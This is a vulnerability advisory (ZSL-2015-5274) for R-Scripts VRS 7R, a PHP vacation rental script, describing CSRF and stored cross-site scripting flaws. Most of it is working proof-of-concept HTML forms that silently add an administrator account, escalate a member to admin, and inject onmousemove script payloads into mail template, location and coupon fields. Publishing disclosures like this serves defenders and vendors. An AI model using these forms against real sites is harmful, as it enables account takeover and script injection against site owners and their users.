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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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R-Scripts VRS 7R Multiple Stored XSS And CSRF Vulnerabilities


Vendor: R-Scripts
Product web page: http://www.r-scripts.com
Affected version: 7R

Summary: PHP Vacation Rental Script is the best solution
for your vacation rentals online business.

Desc: The application allows users to perform certain actions
via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in
user visits a malicious web site. Stored cross-site scripting
vulnerabilitity was also discovered. The issue is triggered
when input passed via multiple POST parameters is not properly
sanitized before being returned to the user. This can be
exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.

Tested on: Apache/2.2.29
           PHP/5.3.29


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5274
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5274.php


01.10.2015

--


CSRF Add Admin:
---------------

<html>
  <body>
    <form action="http://127.0.0.1/admin/users/add" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="role" value="admin" />
      <input type="hidden" name="username" value="Testingus" />
      <input type="hidden" name="password" value="123123" />
      <input type="hidden" name="retype&#95;password" value="123123" />
      <input type="hidden" name="generate&#95;password&#95;label" value="&#32;Generate&#32;password" />
      <input type="hidden" name="name" value="Test" />
      <input type="hidden" name="email" value="test&#64;test&#46;tld" />
      <input type="hidden" name="phone" value="111111111" />
      <input type="hidden" name="phone2" value="&#13;" />
      <input type="hidden" name="sms&#95;phone" value="&#13;" />
      <input type="hidden" name="sms&#95;active" value="0" />
      <input type="hidden" name="fax" value="&#13;" />
      <input type="hidden" name="country" value="Uganda" />
      <input type="hidden" name="location" value="N" />
      <input type="hidden" name="address" value="Address" />
      <input type="hidden" name="zip" value="&#13;" />
      <input type="hidden" name="active&#95;newsletter" value="0" />
      <input type="hidden" name="active" value="1" />
      <input type="hidden" name="banned" value="0" />
      <input type="hidden" name="ban&#95;reason" value="&#13;" />
      <input type="hidden" name="verified&#95;user" value="1" />
      <input type="hidden" name="paypal&#95;email" value="&#13;" />
      <input type="hidden" name="submitf" value="submit" />
      <input type="submit" value="CSRF Add Admin" />
    </form>
  </body>
</html>


Privilege Escalation:
---------------------

<html>
  <body>
    <form action="http://127.0.0.1/admin/users/edit/4" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="role" value="admin" />
      <input type="hidden" name="username" value="member" />
      <input type="hidden" name="password" value="&#13;" />
      <input type="hidden" name="retype&#95;password" value="&#13;" />
      <input type="hidden" name="generate&#95;password&#95;label" value="&#32;Generate&#32;password" />
      <input type="hidden" name="name" value="Member" />
      <input type="hidden" name="email" value="vrs&#95;owner&#64;vacationrentalscript&#46;com" />
      <input type="hidden" name="phone" value="&#13;" />
      <input type="hidden" name="phone2" value="&#13;" />
      <input type="hidden" name="sms&#95;phone" value="&#13;" />
      <input type="hidden" name="sms&#95;active" value="0" />
      <input type="hidden" name="fax" value="&#13;" />
      <input type="hidden" name="country" value="Germany" />
      <input type="hidden" name="location" value="test" />
      <input type="hidden" name="address" value="test&#32;address" />
      <input type="hidden" name="zip" value="&#13;" />
      <input type="hidden" name="active&#95;newsletter" value="1" />
      <input type="hidden" name="active" value="1" />
      <input type="hidden" name="banned" value="0" />
      <input type="hidden" name="ban&#95;reason" value="&#13;" />
      <input type="hidden" name="verified&#95;user" value="1" />
      <input type="hidden" name="paypal&#95;email" value="sandbox&#95;owner2&#64;vacationrentalscript&#46;com" />
      <input type="hidden" name="submitf" value="submit&#95;view" />
      <input type="submit" value="Escalate" />
    </form>
  </body>
</html>


Stored XSS:
-----------

<html>
  <body>
    <form action="http://127.0.0.1/admin/mail_templates/add" method="POST">
      <input type="hidden" name="alias" value='" onmousemove=confirm(1) >' />
      <input type="hidden" name="sender&#95;name" value='" onmousemove=confirm(2) >' />
      <input type="hidden" name="sender&#95;email" value='" onmousemove=confirm(3) >' />
      <input type="hidden" name="bcc&#95;copy" value='" onmousemove=confirm(4) >' />
      <input type="hidden" name="subject&#95;1" value='" onmousemove=confirm(5) >' />
      <input type="hidden" name="subject&#95;2" value="&#13;" />
      <input type="hidden" name="subject&#95;3" value="&#13;" />
      <input type="hidden" name="subject&#95;4" value="&#13;" />
      <input type="hidden" name="subject&#95;5" value="&#13;" />
      <input type="hidden" name="body&#95;1" value="test" />
      <input type="hidden" name="body&#95;2" value="&#13;" />
      <input type="hidden" name="body&#95;3" value="&#13;" />
      <input type="hidden" name="body&#95;4" value="&#13;" />
      <input type="hidden" name="body&#95;5" value="&#13;" />
      <input type="hidden" name="active" value="1" />
      <input type="hidden" name="is&#95;bulk&#95;mail" value="0" />
      <input type="hidden" name="submitf" value="submit&#95;view" />
      <input type="submit" value="XSS Add Mail" />
    </form>
  </body>
</html>


Stored XSS:
-----------

<html>
  <body>
    <form action="http://127.0.0.1/admin/locations/add" method="POST">
      <input type="hidden" name="location&#95;selected&#95;id" value="0" />
      <input type="hidden" name="temp&#95;lat" value="0" />
      <input type="hidden" name="temp&#95;lng" value="0" />
      <input type="hidden" name="title&#95;1" value='" onmousemove=confirm(1) >' />
      <input type="hidden" name="title&#95;2" value="&#13;" />
      <input type="hidden" name="title&#95;3" value="&#13;" />
      <input type="hidden" name="title&#95;4" value="&#13;" />
      <input type="hidden" name="title&#95;5" value="&#13;" />
      <input type="hidden" name="location&#95;parent&#95;id" value="&#45;1" />
      <input type="hidden" name="slug&#95;1" value="&#13;" />
      <input type="hidden" name="slug&#95;2" value="&#13;" />
      <input type="hidden" name="slug&#95;3" value="&#13;" />
      <input type="hidden" name="slug&#95;4" value="&#13;" />
      <input type="hidden" name="slug&#95;5" value="&#13;" />
      <input type="hidden" name="lat" value='" onmousemove=confirm(2) >' />
      <input type="hidden" name="lng" value='" onmousemove=confirm(3) >' />
      <input type="hidden" name="zip&#95;code" value="&#13;" />
      <input type="hidden" name="active" value="1" />
      <input type="hidden" name="submitf" value="submit" />
      <input type="submit" value="XSS Add Location" />
    </form>
  </body>
</html>

Stored XSS:
-----------

<html>
  <body>
    <form action="http://127.0.0.1/admin/coupons/add" method="POST">
      <input type="hidden" name="start&#95;date" value="&#13;" />
      <input type="hidden" name="start&#95;date&#95;picker" value="&#13;" />
      <input type="hidden" name="end&#95;date" value="2015&#45;11&#45;12" />
      <input type="hidden" name="end&#95;date&#95;picker" value='" onmousemove=confirm(1) >' />
      <input type="hidden" name="title" value='" onmousemove=confirm(2) >' />
      <input type="hidden" name="hash" value="RG8AVL" />
      <input type="hidden" name="coupon&#95;code" value='" onmousemove=confirm(3) >' />
      <input type="hidden" name="discount" value='" onmousemove=confirm(4) >' />
      <input type="hidden" name="utimes" value='" onmousemove=confirm(5) >' />
      <input type="hidden" name="active" value="1" />
      <input type="hidden" name="submitf" value="submit&#95;view" />
      <input type="submit" value="XSS Add Coupons" />
    </form>
  </body>
</html>